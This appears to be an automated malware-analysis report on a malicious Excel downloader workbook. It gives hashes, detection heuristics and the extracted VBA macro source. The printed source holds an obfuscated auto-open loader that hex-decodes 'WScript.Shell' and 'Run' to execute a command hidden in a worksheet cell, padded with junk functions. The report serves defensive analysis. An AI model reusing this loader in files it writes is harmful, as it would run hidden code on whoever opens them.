Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e29c0b9659bc6f4a…

MALICIOUS

Office (OLE)

67.5 KB Created: 2018-07-22 05:34:02 Authoring application: Microsoft Excel First seen: 2020-05-14
MD5: d6a9edfd6995ab7c8a84ce70178ea18c SHA-1: e3ec93b8e8cfc7e7aef66664e4e83299502c8922 SHA-256: e29c0b9659bc6f4af1bb148c79c4badd043f6c731722c0e9c568093afb679d10
288 Risk Score

Heuristics 8

  • ClamAV: Xls.Downloader.Olemal-6934884-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Olemal-6934884-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Application.Run IVA_("8094959F839B9E978E9B9B975A6D728081868B")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        CallByName CreateObject(IVA_("837F8F9E959CA05A7F94919898")), IVA_("7EA19A"), VbMethod, IVA_(ThisWorkbook.Sheets("Tope").Range("G135").Value), 0, True
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
        CallByName CreateObject(IVA_("837F8F9E959CA05A7F94919898")), IVA_("7EA19A"), VbMethod, IVA_(ThisWorkbook.Sheets("Tope").Range("G135").Value), 0, True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 228 bytes
SHA-256: 962aaf1d57f0a7207e98bd37b3a4cfa339dc6a87bd287090a5d69186204feb4a
Preview script
First 1,000 lines of the extracted script
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Top
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3146 bytes
SHA-256: 548e709a20fa3cb31be1e836b4a59c6c7c4e684eab7da7fa8290e39bd3f46486
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Option Explicit
Private Function KECCQ_() As String
For i = 10 To 74:SUPPBELODJ_(aDBXMMFTHGK_ & HHOQME_(54, v), 11)):Next i:Dim For i = 12 To 90:FUNIHHET_(aVNNYNVUGTMQ_ & YIQPLZVKGM_(34, 4), 11)):Next i:Random(12, 6)FIQMHBLRH_:Random(12, 6)FIQMHBLRH_:LBIRZZ_(SJSBLASJC_)):Dim Dim For i = 10 To 74:SUPPBELODJ_(aDBXMMFTHGK_ & HHOQME_(54, v), 11)):Next i:For i = 10 To 74:SUPPBELODJ_(aDBXMMFTHGK_ & HHOQME_(54, v), 11)):Next i:For i = 12 To 90:FUNIHHET_(aVNNYNVUGTMQ_ & YIQPLZVKGM_(34, 4), 11)):Next i:HOHCIXAXFAR_ = aFLYXAYEAVM_:Random(XPEUUP_):HOHCIXAXFAR_ = aFLYXAYEAVM_:
End Function
Public Function IVA_(ByVal P_ As String)
   Dim OQ_ As String: Dim FMX_ As Long: For FMX_ = 1 To Len(P_) Step 2: OQ_ = OQ_ & Chr(Val("&H" & Mid(P_, FMX_, 2)) - 44): Next: IVA_ = OQ_
End Function
Private Function YTB_() As String
Random(12, 6)UQSVILUYH_:YDYTSS_(UTRLOARP_ & UHDTLOBHLLJ_(12, 6), 11)):Dim KUAGHSW_As String = "WPSTJB_":TILIQEDCXPB_( & vIMZGEN_:For i = 21 To 58:LCIHASXRXN_(aTDSPNHWUIZT_ & XMHAMDWV_(34, 4), 11)):Next i:For i = 21 To 58:LCIHASXRXN_(aTDSPNHWUIZT_ & XMHAMDWV_(34, 4), 11)):Next i:YDYTSS_(UTRLOARP_ & UHDTLOBHLLJ_(12, 6), 11)):YDYTSS_(UTRLOARP_ & UHDTLOBHLLJ_(12, 6), 11)):VJLMTWH_(BOHATBMZGV_)):Random(12, 6)UQSVILUYH_:Dim KUAGHSW_As String = "WPSTJB_":JFPKSBGO_ = aSGXFJJQPQVI_:JFPKSBGO_ = aSGXFJJQPQVI_:For i = 46 To 68:XXZGPZ_(aZVOYLFDF_ & AWFQEP_(54, v), 11)):Next i:VJLMTWH_(BOHATBMZGV_)):
End Function
Sub Workbook_Open()
Application.Run IVA_("8094959F839B9E978E9B9B975A6D728081868B")
End Sub
Private Function UNAE_() As String
KOESINLCNF_( & vOQCVEKKC_:KOESINLCNF_( & vOQCVEKKC_:For i = 16 To 55:JQAPWFTUTB_(aCSLTGTRN_ & WJFRLTZTHK_(34, 4), 11)):Next i:JKJZZQLFB_ = aGBIDGZ_:HRDFZALIEDF_(MIGMVDGUENJ_ & DOETHKB_(12, 6), 11)):HRDFZALIEDF_(MIGMVDGUENJ_ & DOETHKB_(12, 6), 11)):XGOFZBGHEQ_(FMJASGU_)):Random(IBAJIOVXDYH_):Random(12, 6)NSCKSOFAIQZ_:Dim ZIDDTBPENS_As String = "EZRVWF_":KOESINLCNF_( & vOQCVEKKC_:Dim Dim ZIDDTBPENS_As String = "EZRVWF_":KOESINLCNF_( & vOQCVEKKC_:
End Function
Sub AFTUZ_()
    CallByName CreateObject(IVA_("837F8F9E959CA05A7F94919898")), IVA_("7EA19A"), VbMethod, IVA_(ThisWorkbook.Sheets("Tope").Range("G135").Value), 0, True
End Sub
Private Function YBSYW_() As String
Random(EDSCPYQDPM_):Random(12, 6)NMRVUBGWZ_:LCHLZOQCQM_( & vHLXPRNFRT_:LCHLZOQCQM_( & vHLXPRNFRT_:EQUEAGHEZNW_(QWEMMNO_ & DSJJGK_(12, 6), 11)):LCHLZOQCQM_( & vHLXPRNFRT_:For i = 19 To 93:LFOMTU_(aOWPQGENV_ & FZGDXYS_(34, 4), 11)):Next i:For i = 19 To 93:LFOMTU_(aOWPQGENV_ & FZGDXYS_(34, 4), 11)):Next i:For i = 26 To 79:TCZKKDV_(aNEVVQGARGYW_ & UNLFTW_(54, v), 11)):Next i:Dim UHTJUDIYH_As String = "OARILQ_":For i = 26 To 79:TCZKKDV_(aNEVVQGARGYW_ & UNLFTW_(54, v), 11)):Next i:Dim UHTJUDIYH_As String = "OARILQ_":XQQQEM_(FQKFCXKV_)):Random(12, 6)NMRVUBGWZ_:Random(12, 6)NMRVUBGWZ_:
End Function

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